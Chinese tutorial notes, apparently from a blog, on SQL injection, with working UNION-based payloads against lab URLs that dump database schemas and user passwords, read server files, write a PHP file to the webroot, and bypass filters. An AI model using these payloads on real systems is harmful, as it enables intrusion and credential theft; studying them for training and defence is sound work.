简单注入
SQL注入
SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
图中可能存在注入的有哪几个?
答:1.2.3
哪个注入测试正确?
答:b、c;
a,在y后面加 and 1=1 实现的是对y的注入,需要在x的后面加and 1=1,才能实现对参数x的注入;
b,对x注入,x是变量,需要x后连接注入语句;
c,y写不写注入语句无所谓,主要是x后写注入语句;
d,没有参数x,没有注入;
SQL注入漏洞对于数据安全的影响
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
知识点
1、在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2、数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
3、
记录所有表名信息的表:information_schema.tables
记录所有列名信息的表:information_schema.columns
表名:table_name
列名:column_name
数据库名:table_schema
判断注入
猜解列名数量(字段数)
order by x 错误与正常的正常值
http://219.153.49.228:42123/new_list.php?id=1 order by 4
报错猜解准备
由上面猜解字段数得到下面(假设有4个字段)
http://219.153.49.228:42123/new_list.php?id=-1 union select 1,2,3,4
信息收集
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
表名
查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43123/new_list.php?id=-1
union select 1,group_concat(table_name),3,4 from information_schema.tables
where table_schema=‘mozhe_Discuz_StormGroup’
列名
查询指定表名StormGroup_member下的列名信息:
http://219.153.49.228:43123/new_list.php?id=-1
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
数据
查询指定表名StormGroup_member下的数据:
http://219.153.49.228:43123/new_list.php?id=-1
union select 1,name,password,4 from StormGroup_member
MYSQL注入
路径获取常见方法:
报错显示
网站出现错误时,会显示路径;
遗留文件
类似于phpinfo()文件,为了调试信息遗留的文件,命名一般为phpinfo()之类的;
可以用工具扫描到;
漏洞报错
知道对方是用什么脚本程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径;
平台位置文件
搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取;
爆破
实在获取不到路径,可采用常规思路爆破网站常规路径
windows:d:/wwwroot/xiaodi8
linux:/var/www/xiaodi8
文件读写操作
会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。
load_file(): 读取函数
into outfile 或者 into dumpfile:导出函数
1.常见读取文件列表
下述SQL语句的执行,必须依赖于数据库中secure_file_priv参数,该参数指定了数据库导入和导出的安全路径。
需要在mysql的配置文件my.ini文件添加secure_file_priv=‘’
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,load_file(‘d:/www.txt’),3
2.常见读取文件列表及写入文件问题:魔术引导开关
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1
union select 1,‘x’,3 into outfile ‘C:\phpStudy\PHPTuorial\WWW\sqli-labs-master\x.php’–+
魔术引号magic_quotes_gpc是php安全机制开关,在php的配置文件php.ini修改
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,都不会被转义。这些转义是必须的。
绕过方法:可以采用编码或者宽字节,把路径进行十六进制编码,就不需要使用单引号,可以正常解析;
相关防注入方法
1.魔术引导及常见防护
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,从而不会被执行
2.采用内置函数进行防护
addslashes()函数也是和魔术引导一样效果
is_int()函数判断变量
还有更多内置函数也可以进行防护;
正常情况遇到的不多;
3.自定义关键字:select
$ id=str_replace(‘select’,‘fuck’,$id)
php文件中,通过str_replace函数将select转换成fuck; str_replace函数详解
绕过方法:对过滤关键字进行大小写,hex编码,叠写,等价函数替换等等
4.WAF防护软件
安全狗,宝塔等
类型及提交注入
简要明确参数类型
数字、字符、搜索、JSON等;
其中 SQL 语句干扰符号:**',",%,),}**等,具体需看写法
简要明确请求方法
GET、POST、COOKIE、REQUEST、HTTP头等;
不同的请求方式,请求的数据类型、大小都不一样;
版权归原作者 灯火不休ᝰ 所有, 如有侵权,请联系我们删除。